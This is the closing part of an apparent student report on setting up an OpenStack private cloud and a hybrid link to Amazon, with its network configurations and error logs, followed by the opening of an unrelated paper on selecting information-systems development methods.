of setup. 5.2 Private cloud setup Initially the private cloud was built according to the OpenStack reference design [14]. This setup consists of two physical servers, which together host four components. The components nova-volume, -scheduler and -network are all installed on one physical server, the central node. The nova-compute component is installed on the second server, called the compute node (figure 3). Although it is also possible to run all the necessary components on one machine, this does not reflect a realistic scenario. Making use of two machines ensures that the setup is scalable from the start, since extra compute nodes can be added at a later time with relative ease. The most recent version of Ubuntu Linux (11.10 Oneiric Ocelot [12]) was used as a base system. The Ubuntu operating system was chosen because it is the main development platform for OpenStack. This means the latest version of the OpenStack framework (Diablo [13]) can installed with minimal adjustments to the operating system. The advantage of running the latest version of the framework is that we can avoid bugs already solved in older versions. The installation was done according to the reference design [8]. ![Diagram](http://cssoss.wordpress.com) **Figure 4: Reference design, dual node deployment OpenStack [15]** ### 5.2.1 Private cloud setup according to the reference design The reference design splits the network in two parts. A public facing interface on the controller node and a management network between the controller and compute nodes. Since the OS3 networking environment uses public IP-addresses, the reference design could not be followed to full detail and IP-addresses were configured differently where needed. An overview of the initial configuration can be found in appendix I. Another point in which the setup was changed was the connection between the central node and the compute node. Although they were already connected via a switch, they received an extra ethernet cable directly to each other. This was mainly to offload the switch that also had other purposes not related to this research. During the configuration of the system several errors were encountered in the setup of the storage service (Swift) and the imaging service (Glance). Since they are not relevant to this research they are documented in appendix III. While configuring the network other issues were found. Initially instances would spawn, however it was observed that the private IP-addresses of instances were not assigned by the nova-network component. Although the OpenStack network should make sure that the appropriate routing rules are configured on all nodes, we did not manage to achieve this with the settings from the OpenStack reference guide. Routing rules would not be applied on the controller- and compute-nodes and launched instances would not acquire an address and thus they were not reachable from the outside. This might be due to the fact that unlike the reference design (figure 4), the used setup did not contain a physical switch between the central node (server1) and the compute node (server2). Therefore configuring the network with the OpenStack VLAN networking model [19] might not be appropriate. ### 5.2.2 DHCP- & Flat-networking models The other OpenStack networking models, namely DHCP- and Flat-networking, were tested to see if these would lead to connectivity. However the observed behaviour was consistent (instances would start on the compute nodes, but without connectivity. Since this seemed very much like a configuration error and time was running out, the decision was made to switch to another Linux distribution, which ran with OpenStack preconfigured. This distribution was StackOps [19]. Using this distribution it was possible to create a working setup. 5.2.3 Private cloud setup using StackOps StackOps is based on Ubuntu 10.04 and comes with the previous release of OpenStack, named Cactus. With StackOps it is only possible to configure the network using DHCP and only predefined setups can be configured. In this case the “dual node” deployment was chosen. This is exactly the same setup as before. It uses two servers, where the first is running the management component (central node) and the second is hosting all the instances (compute node). While using this distribution, initially there was still no connectivity. Although the cloud framework would launch the instances and show their assigned IP’s (see figure 5), they would not respond to pings. ``` $ euca-describe-instances RESERVATION r-aws7z4p8 sne-cloud default INSTANCE i-00000012 ami-46ccba64 10.0.0.2 10.0.0.2 running None (sne-cloud, waldorf) 0 m1.small 2011-12-14T15:41:31Z nova ``` Figure 5: Output of command to describe running instances, shown with corresponding public and private IP, cloud-project and compute node To find out if the outside was also not reachable from within the instance, a direct connection was made to the KVM instance running on the compute node, by connecting with a virtual machine manager from a desktop. When connected directly to the console of the instance, it was seen that the default route and IP-address were not being assigned to the instance. When configuring the default route and IP-address by hand, this would lead to connectivity to and from the instance. Since the networking type is always DHCP in StackOps, we checked whether the dnsmasq service was actually running on the central node. This was not the case, so a custom dhcp server (udhcpd) was installed on the central node, to find out whether this would lead to the instances getting an address from the server. This lead to connectivity. Since we were unable to find out what prevented the dnsmasq service from starting we archived the installation and reinstalled both physical nodes with different settings (appendix II). This time the instances did acquire an IP-address from the cloud framework. It was however still not possible to attach public IP-addresses to the instances, using the default cloud management tools. Due to errors (appendix III) in the communication between the tools and the database which stored the distribution of the IP-addresses, assignments of addresses where not stored. To be able to assign addresses the (Mysql) database was manipulated directly. This was successful. Now that the private cloud was running, we continued by creating the connection from this cloud to the Amazon cloud. 5.3 Public cloud (Amazon) To achieve full cloud transparency, it should be possible to route IP-addresses between the private cloud and the Amazon public cloud. In chapter 4.3 we discussed the possible ways to achieve this. From these one option was selected which we tried to implement. **VPC tunnel** To setup the Amazon virtual private cloud (VPC), two IPsec tunnels needed to be built. Within these tunnels BGP peering was configured. To connect this infrastructure to the local OpenStack installation, the controller node would have to be configured to spawn instances directly to Amazon or an OpenStack node should be placed in the Amazon Cloud. This has been done before and should probably be more successful. Unfortunately, after setting up the tunnel we did not manage to route custom addresses across the BGP session. Only Amazon’s private addresses could be acquired through the tunnel. **No tunnel** In order to find out whether a setup would be successful we decided to setup an OpenStack node within the Amazon cloud without a tunnel. Although we were able to install a compute node in the cloud, it was not possible to run instances on this remote node. The necessary networking rules were not passed on to the remote node and no instance data was transmitted to the remote node. Again the same behaviour was observed as with the initial setup according to the reference guide. The compute node running in the Amazon cloud would be visible from the central node, but instances instructed to run from this node would fail to launch. Although there seemed to be traffic flowing to and from the Amazon compute node, this wasn’t nearly enough to facilitate the transmission of an image of 5GB in file size. Unfortunately we were unable to find out what exactly limited the transmission of the images to the Amazon cloud. In this case we suspect the failure to be caused by the absence of a tunnel. Registration of the node located in the Amazon cloud can be successful since the registration of this node against the central node occurs at layer 3. When an instance needs to be launched however, the nova-network component needs to distribute routes on layer 2. These routes do not propagate across WAN without tunnels. 6 Results Now that the design and practical setup have been discussed, we will review our findings. When following the reference design, there are a few processes which should be started through the framework, but we did not manage do get them started initially: - Bridges need to be generated on all physical nodes - Routing rules need to be generated, when launching instances - Instances need to acquire a private IP-address - Public addresses should be mapped to the private addresses by a network component After switching to the StackOps distribution, we managed to relieve these issues. However we were still unable to build a hybrid cloud. 7 Conclusion We started this research by looking into the origins and development of clouds. Then we discussed its possible advantages to the System and Network Engineering education. Based on the requirements of this education we defined our research questions. Following we discussed the different types of clouds used and cloud frameworks available. From these frameworks a selection was made to use in this research. For the selected frameworks a deployment method was devised and executed. Unfortunately we were unable to answer all our research questions. Therefore we cannot draw a final conclusion on whether or not OpenStack is suitable as a cloud framework for the SNE-education. From the results we have and the research we have done, we can deduce the following answers for our research questions: **Research Questions** - Is it possible to execute SNE-education experiments in the cloud? - Since we were unable to complete the cloud setup, we were unable to run any experiments. - Can connectivity be achieved on a level which allows the creation of custom layer 3 (IP) networks by users of this environment? - Yes, private networks can be created and are connected through virtual bridges. - Can full cloud transparency be achieved? - Unfortunately we were unable to test this. **Requirements** - Is it possible to run (virtual) machines? - Yes, users can upload and manage virtual machines through client programs which communicate with the nova-API. - Is it possible to setup (virtual) networks? - Yes, VM’s can be assigned to private subnets by the use of OpenStack projects. - Can IP-space be delegated? - Yes it is possible, however this requires additional configuration inside VM’s. Besides, it is not possible to assign public ip-space directly to VM’s, this has to be done through NAT. - Run Internet services like DNS and e-mail. - We were able to run and access an SSH-service, therefore we expect it to be possible to run other services as well. We deduce this expectation from the workings of the nova-network component. Commands controlling this component internally modify routing rules. These routing rules allow or deny services to run. DNS and e-mail depend on the same networking layer as SSH. Therefore they should work also. - Secure and administer these environments - Yes, all virtual machines can be configured with their own firewalls. Besides these local firewalls the nova-network component can control access to groups of VM’s through its security groups. OpenStack users can create and modify the security groups of their own VM pools. 8 Discussion When looking into cloud frameworks the following features are, in my opinion, necessary for successful deployment within the SNE-education: - The ability to use a custom addressing scheme and thus use the addresses in the public range which are used by the education. - An interfacing component which enables users to upload their own images Only after these requirements would be met, this setup could be extended to the Amazon cloud. An extension to the previous setup would then be to: - Setup an interfacing component towards the Amazon Cloud. - Create a custom scheduler for load distribution between the public and private cloud. Although OpenStack supports all requirements to a certain extent, the main issue is the inability to map public addresses directly to VM’s. Therefore a solution should be chosen which does support this kind of addressing. It might be the case for virtual infrastructure managers (VIM). Therefore it might be interesting to look into this kind of solution in future research. 9 References Appendix I. Initial configuration according to reference design OpenStack configuration files Initial configuration of the central node, with VLAN-networking: ``` # enable VLAN networking mode: --network_manager=nova.network.manager.VlanManager --dhcbpbridge_flagfile=/etc/nova/nova.conf --dhcbpbridge=/usr/bin/nova-dhcbpbridge --public_interface=eth0 # interface for cloud network: --vlan_interface=br100 # public IP of central node, used for NAT of public IP's of instances: --routing_source_ip=145.100.104.36 # global scope cloud network: --fixed_range=192.168.0.0/16 # size of user private subnets in addresses including network and host address: --network_size=8 --iscsi_ip_prefix=192.168. ``` Initial configuration of the compute node, with VLAN-networking: ``` # network flat: --network_manager=nova.network.manager.FlatManager # Block of IP addresses that are fixed IPs (private range) --fixed_range=192.168.0.0/16 # number of addresses in each private subnet --network_size=24 # public ip of server running nova-network (used for sNAT when no public addr) --routing_source_ip=145.100.104.36 --flat_network_bridge=br100 # interface to bind private network to: --flat_interface=eth1 --flat_network_dhcp_start=192.168.1.2 # network dhcp: #--network_manager=nova.network.manager.FlatDHCManger #--flat_injected=False #--flat_network_dhcp_start=145.100.106.161 #--public_interface=eth0 #--flat_network_bridge=br100 #--flat_interface=eth2 ``` Central Node: /etc/network/interfaces # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet dhcp # OpenStack reference design: #auto eth1 #iface eth1 inet static # address 192.168.3.1 # netmask 255.255.255.0 # network 192.168.3.0 # broadcast 192.168.3.255 # Manual adjustment: auto br100 iface br100 inet dhcp bridge_ports eth1 bridge_stp off bridge_maxwait 0 bridge_fd 0 According to the OpenStack reference design, the bridges should be created automatically by the networking component of the framework, this however, was not the case and therefore the bridges were needed to be setup manually in the networking configuration. The observed error in the log files: ``` 2011-11-20 12:15:51,496 ERROR nova.exception [-] Uncaught exception 2011-11-20 12:15:51,497 ERROR nova.compute.manager [-] Instance '8' failed to spawn. Is virtualization enabled in the BIOS? Details: Failed to add tap interface to bridge 'br100': No such device ``` II. Secondary setup using StackOps Interfaces configuration on Central Node, using StackOps: ``` root@statler:/etc/network# cat interfaces # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 145.100.104.36 netmask 255.255.255.224 network 145.100.104.32 broadcast 145.100.104.63 gateway 145.100.104.33 # dns-* options are implemented by the resolvconf package, if installed dns-nameservers 8.8.8.8 8.8.4.4 dns-search studlab.os3.nl # storage gateway auto eth1 iface eth1 inet static address 145.100.104.37 netmask 255.255.255.224 network 145.100.104.32 broadcast 145.100.104.63 gateway 145.100.104.33 # dns-* options are implemented by the resolvconf package, if installed dns-nameservers 8.8.8.8 8.8.4.4 dns-search studlab.os3.nl ``` Interfaces configuration on Compute Node, using StackOps: ``` root@waldorf:/etc/network# cat interfaces # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 145.100.104.37 netmask 255.255.255.224 network 145.100.104.32 broadcast 145.100.104.63 gateway 145.100.104.33 # dns-* options are implemented by the resolvconf package, if installed dns-nameservers 8.8.8.8 8.8.4.4 dns-search studlab.os3.nl # storage tunnel auto eth1 iface eth1 inet static address 192.168.0.2 netmask 255.255.255.240 broadcast 192.168.0.15 ``` Firewall configuration On Central Node: ``` root@statler:/home/svjethoe# iptables -t nat -L **snip** Chain nova-network-POSTROUTING (1 references) target prot opt source destination ACCEPT all -- 10.0.0.0/16 10.128.0.0/24 ACCEPT all -- 10.0.0.0/16 10.0.0.0/16 Chain nova-network-floating-snat (1 references) target prot opt source destination SNAT all -- 10.0.0.0/16 anywhere to:145.100.104.36 Chain nova-postrouting-bottom (1 references) target prot opt source destination nova-network-snat all -- anywhere anywhere ``` In the used setup, all addresses in nova-network were part of the preconfigured 10.0.0.0/16 network. For the central node the connected interface to this network was **br100**, this is a virtual bridge attached to physical interface **eth1**: ``` root@statler:/etc/nova# ip addr (ifconfig does not show all attached addresses) 7: eth0: inet 145.100.104.36/27 brd 145.100.104.63 scope global eth0 9: br100: inet 10.0.0.1/25 brd 10.0.0.127 scope global br100 inet 192.168.0.1/28 brd 192.168.0.15 scope global br100 root@statler:/etc/nova# brctl show bridge name bridge id STP enabled interfaces br100 8000.b8ac6f80574b no eth1 root@statler:/etc/nova# route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.0.0 * 255.255.255.240 U 0 0 0 br100 localnet * 255.255.255.224 U 0 0 0 eth0 10.0.0.0 * 255.255.255.128 U 0 0 0 br100 default router.studlab. 0.0.0.0 UG 100 0 0 eth0 ``` On the compute node: ```bash root@waldorf:/home/svjethoe# ip addr 6: eth0: inet 145.100.104.37/27 brd 145.100.104.63 scope global eth0 internal cloud interface: 7: eth1: inet 192.168.0.2/28 brd 192.168.0.15 scope global eth1 ``` ```bash root@waldorf:/home/svjethoe# route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.0.0 * 255.255.255.240 U 0 0 0 eth1 localnet * 255.255.255.224 U 0 0 0 eth0 default router.studlab. 0.0.0.0 UG 100 0 0 eth0 ``` Now when an instance is started the following can be observed: ```bash root@waldorf:/home/svjethoe# euca-describe-images IMAGE ami-46ccba64 db6/debian6-base.img.manifest.xml available public x86_64 machine ``` ```bash root@waldorf:/home/svjethoe# euca-run-instances ami-46ccba64 RESERVATION r-aws7z4p8 sne-cloud default INSTANCE i-00000012 ami-46ccba64 scheduling None (sne-cloud, None) 0 m1.small 2011-12-14T15:41:31Z unknown zone ``` ```bash root@waldorf:/home/svjethoe# euca-describe-instances RESERVATION r-aws7z4p8 sne-cloud default INSTANCE i-00000012 ami-46ccba64 145.100.106.162 10.0.0.2 running None (sne-cloud, waldorf) 0 m1.small 2011-12-14T15:41:31Z nova ``` Appendix III: Encountered errors during initial setup III. Encountered errors during initial setup During installation of the Swift component, which is used for storage, the following error occurred: Exception: Could not create account AUTH_admin for user admin:admin This error is logged in the bugtracking system of OpenStack under: https://answers.launchpad.net/swift/+question/163331 After checking that all entries were set correct in the database and all passwords were configured correctly, I found out that the problem actually lied with the rights on certain folders, which were not configured to be accessible by the Swift user account on the central node. When running the following command to fix these rights, swift was finally set up correctly and I was able to proceed with installing OpenStack. chown -R swift:swift /srv/[1-4]/node/* After setting up the storage component, also the imaging service (Glance) needed to be set up correctly. Here another issue was encountered. I was unable to upload images. When uploading a VM from a desktop pc, with the following command: glance add name="Ubuntu 11" is_public=True < oneiric-server-cloudimg-amd64.tar.gz This error is encountered: ClientConnectionError: Unable to connect to server. Got error: [Errno 111] ECONNREFUSED The error indicates that the desktop is unable to authenticate against the glance server. This is after authentication has been setup and “uploading” images to the object store does work when executed directly on the server running the glance component.
{"Source-Url": "http://www.delaat.net/rp/2011-2012/p31/report.pdf", "len_cl100k_base": 11573, "olmocr-version": "0.1.53", "pdf-total-pages": 25, "total-fallback-pages": 0, "total-input-tokens": 67531, "total-output-tokens": 14530, "length": "2e13", "weborganizer": {"__label__adult": 0.0005288124084472656, "__label__art_design": 0.0013179779052734375, "__label__crime_law": 0.00063323974609375, "__label__education_jobs": 0.07403564453125, "__label__entertainment": 0.0002465248107910156, "__label__fashion_beauty": 0.0003330707550048828, "__label__finance_business": 0.001956939697265625, "__label__food_dining": 0.0005412101745605469, "__label__games": 0.0009050369262695312, "__label__hardware": 0.00399017333984375, "__label__health": 0.0009908676147460938, "__label__history": 0.0009794235229492188, "__label__home_hobbies": 0.0003769397735595703, "__label__industrial": 0.001293182373046875, "__label__literature": 0.0006628036499023438, "__label__politics": 0.0005087852478027344, "__label__religion": 0.0007901191711425781, "__label__science_tech": 0.383544921875, "__label__social_life": 0.0005578994750976562, "__label__software": 0.1060791015625, "__label__software_dev": 0.41796875, "__label__sports_fitness": 0.00026607513427734375, "__label__transportation": 0.0010995864868164062, "__label__travel": 0.000446319580078125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 57550, 0.06649]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 57550, 0.49633]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 57550, 0.91142]], "google_gemma-3-12b-it_contains_pii": [[0, 247, false], [247, 2953, null], [2953, 6646, null], [6646, 10373, null], [10373, 11533, null], [11533, 14810, null], [14810, 17154, null], [17154, 19320, null], [19320, 21714, null], [21714, 25212, null], [25212, 28866, null], [28866, 32488, null], [32488, 35058, null], [35058, 37878, null], [37878, 40769, null], [40769, 43376, null], [43376, 44405, null], [44405, 47502, null], [47502, 48532, null], [48532, 49984, null], [49984, 51067, null], [51067, 52818, null], [52818, 54601, null], [54601, 55987, null], [55987, 57550, null]], "google_gemma-3-12b-it_is_public_document": [[0, 247, true], [247, 2953, null], [2953, 6646, null], [6646, 10373, null], [10373, 11533, null], [11533, 14810, null], [14810, 17154, null], [17154, 19320, null], [19320, 21714, null], [21714, 25212, null], [25212, 28866, null], [28866, 32488, null], [32488, 35058, null], [35058, 37878, null], [37878, 40769, null], [40769, 43376, null], [43376, 44405, null], [44405, 47502, null], [47502, 48532, null], [48532, 49984, null], [49984, 51067, null], [51067, 52818, null], [52818, 54601, null], [54601, 55987, null], [55987, 57550, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 57550, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 57550, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 57550, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 57550, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 57550, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 57550, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 57550, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 57550, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 57550, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 57550, null]], "pdf_page_numbers": [[0, 247, 1], [247, 2953, 2], [2953, 6646, 3], [6646, 10373, 4], [10373, 11533, 5], [11533, 14810, 6], [14810, 17154, 7], [17154, 19320, 8], [19320, 21714, 9], [21714, 25212, 10], [25212, 28866, 11], [28866, 32488, 12], [32488, 35058, 13], [35058, 37878, 14], [37878, 40769, 15], [40769, 43376, 16], [43376, 44405, 17], [44405, 47502, 18], [47502, 48532, 19], [48532, 49984, 20], [49984, 51067, 21], [51067, 52818, 22], [52818, 54601, 23], [54601, 55987, 24], [55987, 57550, 25]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 57550, 0.06947]]}
olmocr_science_pdfs
2024-12-10
2024-12-10
546a2216650a0c713590154de600633f4d6b9958
[REMOVED]
{"Source-Url": "https://hal.archives-ouvertes.fr/file/index/docid/544301/filename/AMAST-96_verif_appli.pdf", "len_cl100k_base": 10719, "olmocr-version": "0.1.53", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 60013, "total-output-tokens": 12424, "length": "2e13", "weborganizer": {"__label__adult": 0.00044846534729003906, "__label__art_design": 0.000614166259765625, "__label__crime_law": 0.0005311965942382812, "__label__education_jobs": 0.0009145736694335938, "__label__entertainment": 0.00012290477752685547, "__label__fashion_beauty": 0.00022590160369873047, "__label__finance_business": 0.0004925727844238281, "__label__food_dining": 0.0004830360412597656, "__label__games": 0.00087738037109375, "__label__hardware": 0.00492095947265625, "__label__health": 0.0009512901306152344, "__label__history": 0.0003535747528076172, "__label__home_hobbies": 0.0002968311309814453, "__label__industrial": 0.0025196075439453125, "__label__literature": 0.0003371238708496094, "__label__politics": 0.0004067420959472656, "__label__religion": 0.000667572021484375, "__label__science_tech": 0.38623046875, "__label__social_life": 0.00010013580322265624, "__label__software": 0.0095977783203125, "__label__software_dev": 0.5869140625, "__label__sports_fitness": 0.000385284423828125, "__label__transportation": 0.0014944076538085938, "__label__travel": 0.0002079010009765625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 46628, 0.02158]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 46628, 0.7875]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 46628, 0.88613]], "google_gemma-3-12b-it_contains_pii": [[0, 1153, false], [1153, 3959, null], [3959, 7473, null], [7473, 11287, null], [11287, 14584, null], [14584, 16877, null], [16877, 19295, null], [19295, 22199, null], [22199, 24330, null], [24330, 27347, null], [27347, 28886, null], [28886, 30816, null], [30816, 34450, null], [34450, 37742, null], [37742, 41092, null], [41092, 44442, null], [44442, 46628, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1153, true], [1153, 3959, null], [3959, 7473, null], [7473, 11287, null], [11287, 14584, null], [14584, 16877, null], [16877, 19295, null], [19295, 22199, null], [22199, 24330, null], [24330, 27347, null], [27347, 28886, null], [28886, 30816, null], [30816, 34450, null], [34450, 37742, null], [37742, 41092, null], [41092, 44442, null], [44442, 46628, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 46628, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 46628, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 46628, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 46628, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 46628, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 46628, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 46628, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 46628, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 46628, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 46628, null]], "pdf_page_numbers": [[0, 1153, 1], [1153, 3959, 2], [3959, 7473, 3], [7473, 11287, 4], [11287, 14584, 5], [14584, 16877, 6], [16877, 19295, 7], [19295, 22199, 8], [22199, 24330, 9], [24330, 27347, 10], [27347, 28886, 11], [28886, 30816, 12], [30816, 34450, 13], [34450, 37742, 14], [37742, 41092, 15], [41092, 44442, 16], [44442, 46628, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 46628, 0.05785]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
6e278bf3ffc5e583c43e46c9d159508696af6c3f
The Usefulness of the Recommendations Regarding the Information System Development Method Selection during the Era of Digitalization Dahlberg, Tomi Turku School of Economics at the University of Turku Turku, Finland tomi.dahlberg@utu.fi Lagstedt, Altti Turku School of Economics at the University of Turku, Haaga-Helia University of Applied Sciences, Helsinki, Finland altti.lagstedt@haaga-helia.fi Abstract The business criticality of information systems (IS) and their development (ISD) appear to have increased recently. Backsourcing, cosourcing and multisourcing of ISD are some of the consequences. They, in turn, extend the need for understanding how to select information systems development methods (ISDM). In this research, we first condensed the knowledge base of ISDM selection research into nine recommendations. We then interviewed 28 ISDM experts and asked them to evaluate how useful the extant ISDM selection recommendations of prior research are to IS user organizations. We discovered that most recommendations were perceived outdated and only limitedly useful. We finally contemplated that paying more attention to how ISDMs are used in business development contexts is a means to increase the usefulness of ISDM selection recommendations. 1. Introduction The purpose of this article is to investigate how useful the extant recommendations of information systems development method (ISDM) selection research are for IS user organizations in the selection of ISDMs. Since the 28 interviewed ISDM experts perceived the usefulness of recommendations low, our purpose is also to ponder how to improve the usefulness of ISDM selection recommendations. The evolution of ISD work and ISDMs during the last 10–15 years motivates our study. Numerous new, especially change-driven (agile), ISDMs have been introduced. The existing ISDM selection models were largely developed prior this era. For example, the probably best known ISDM selection model by Boehm and Turner, called the “Agile and Plan-driven Method Home Ground –Chart”, was published in 2004, and condensed a couple of decades’ research [10]. During the last 10–15 years, also two business issues appear to have impacted ISD work and ISDM selection. In IS user organizations, the business criticality of IS, ISD and ISDM (selection) has increased. Several organizations have responded by considering and/or even by executing ISD backsourcing. With ISD backsourcing, we mean actions by which an organization takes at least once outsourced ISD work back into the organization. Secondly, ISD work and hence also ISDM selections and their use appear to have become amalgamated parts of business development, and hence they need to be integrated to business development practices and methods. During the 1990s and 2000s, the norm was to outsource ISD. IS research provided theoretical and empirical evidence for this [e.g. 4, 32]. The transaction cost economics theory and resource-based views explained that ISD outsourcing offers potential to lower transaction costs and to achieve other business benefits, when the strategic and competitive significance of in-house ISD is low and there are well-functioning markets. Digitalization has changed the strategic and competitive significance of ISs. Focus is now on IS and applications that enable and support the development, delivery and operations of an organization’s products and services, or even are the products and services. This goes on in digital but also in previously non IS/digital-intensive industries [11]. The business criticality of ISD is in a way reborn in IS user organizations [7, 11, 21]. For ISD the depicted changes mean, among other things, that organizations consider the backsourcing of ISD activities as they seek new balances between outsourced and in-house ISD [7]. Prior research suggests two main reasons for the backsourcing considerations. Firstly, some organizations have been disappointed with the outcomes of ISD outsourcing [7, 39]. Secondly, the era of digitalization has profoundly changed the business environments of organizations, that is, the business criticality of digital data and ISs. Organizations respond to these challenges by enhancing their business strategies and, as a part of that, by rethinking their IS sourcing strategies [7, 11, 21]. While considering backsourcing, an organization may need to update its ISD and ISDM knowledge, as well [29]. In line with other prior studies [44], our study [33] showed that IS user organizations tend to abandon their ISD knowledge when ISD is outsourced and/or that, over time, their ISD knowledge becomes outdated. The rapid proliferation of change-driven (agile) ISDMs has characterized the changes in ISD work during the recent years [34, 44]. Still, prior research indicates that no single ISDM suits to the diversity of all ISD projects [12, 15, 24]. One conclusion is that the ISDM selection, the topic of the present article, needs to happen at the ISD project level, case by case [17]. In summary, if an organization needs to update its ISD and ISDM competencies, this should also include the ISDM selection competence. We investigated ISDM selection in situations where both IS user organizations and IS suppliers participate actively into ISD work. In our opinion, ISD, ISDM and ISD selection competences are indispensable to IS user organizations in these situations since their objectives for ISD work and projects may differ from those of their IS suppliers [51, 57]. IS suppliers envision ISD projects as their business. They evaluate the success of an ISD project with traditional IS project performance metrics: time, money and the deliverables [26]. That is understandable since IS suppliers are able to influence (only) those metrics with their own actions. They perceive the high values of performance metrics as means to generate more business. For these reasons, an IS supplier may promote the selection and use of ISDM(s) that the supplier understands and masters well. Contrary to this, an IS user organization evaluates the outcomes of an ISD project primarily from business benefits perspective, that is, as means to increase value to customers, internal efficiency, profitability and future competitiveness [26, 45]. Project performance metrics are important but secondary to, or a part of, business benefits. Moreover, the measurement of business benefits is possible only some time after an ISD project has been completed [26, 44, 45]. In summary, we conclude that the ISDM selection recommendations of IS suppliers are not automatically in the interest of IS user organizations. IS user organizations should select the ISDM(s) for an ISD project from business benefits realization and ISD project performance perspectives. Against the above described backdrop, we decided to investigate whether or not the extant recommendations of ISDM selection research are still useful to IS user organizations that participate actively to ISD with their IS suppliers or consider ISD backsourcing. We saw a research gap here. To fill this gap, we conducted a systematic literature research that included over 1000 unique scientific reports and interviewed 28 ISDM experts. For this research, we defined the following more specific research questions: RQ1: What are the recommendations of ISDM selection studies and do they include recommendations related to the business development context of ISDMs? RQ2: Do the interviewed ISD experts perceive the recommendations of ISDM selection studies useful? The rest of the article is organized as follows: Next we review ISDM selection research and show how we condensed their ISDM selection criteria into nine recommendations. Section three discusses methodology used in the ISD expert interviews and in the analysis of their responses. The results of the study are disclosed in Section four and we end the article with a discussion and conclusions Section. We especially discuss could better matching between ISDMs and business development contexts provide more useful recommendations. We contribute to research by condensing the criteria of ISDM selection research into well-defined recommendations, by probing their perceived usefulness empirically, and by suggesting how to improve such recommendations. 2. Theoretical Background 2.1. From ISD Outsourcing to Backsourcing An IS user organization considers outsourcing, insourcing, backsourcing, cosourcing and multisourcing as its ISD sourcing alternatives [7, 28, 35]. We define these terms in the context of ISD as follows: - Outsourcing: an IS user organization mandates an IS supplier to develop an IS for the organization - Insourcing: an IS user organizations executes the development of an IS inside of the organization. - Backsourcing: an IS user organization takes back at least once outsourced ISD work from IS supplier(s) (partly or wholly) to develop an IS. - Cosourcing: an IS user organization and an IS supplier collaborate closely to develop an IS. - Multisourcing: an IS user organization and several IS suppliers collaborate closely to develop an IS. An IS user organization needs ISDM selection competence in the latter four alternatives. We regard cosourcing and multisourcing as specific forms of backsourcing, and we investigate the usefulness of ISDM selection recommendations in situations where both IS user organizations and IS suppliers collaborate. closely. Attempts to solve the perceived challenges of ISD outsourcing [7, 20, 28, 35] increased business criticality of IS [7, 11] and the proliferation of new ISDMs were discussed above as the motives behind back sourcing. ISD outsourcing has rigid theoretical and practical knowledge basis [e.g. 7, 32] to save costs, to reduce ISD risks and to free resources to core business [20, 46, 57]. Empirical research has, however, produced mixed results [e.g. 4, 41]. For some time ISD outsourcing was a hype term and a management fashion [1, 35], which led some organizations to place unrealistic expectations. Quality and cost problems [7, 20, 35], as well as inflexibilities in reactions to IS user organization’s changing business needs [7] have been reported as typical ISD outsourcing challenges. Partial or full back sourcing is one of the means to remedy past miscalculations [7, 20, 35]. Moreover, back sourcing is the preferable alternative according to the theoretical basis of (out)sourcing if the role of ISD transforms and becomes business critical and/or a part of the core business in an organization [7, 11]. Above we reasoned that IS suppliers’ ISDM selection recommendations may differ from the interests of IS user organizations. This conclusion deserves additional elaboration. It seems obvious that IS user organizations with insourced ISD have, at the minimum, some ISDM and ISD selection competences. Similar competences are needed in back sourcing, as well, since ISD is carried out at least for the execution period of an ISD project [28, 29]. In cosourcing and multisourcing, IS suppliers are typically responsible for the operative-level coding and implementation of software. IS user organizations are responsible for business and use cases/requirements, user testing and business (process) development. IS user organizations also bear the accountability for the success of ISD projects. Due to their accountabilities, IS user organizations need to understand that the pros and cons of various ISDMs are suitable to their ISD projects [29]. 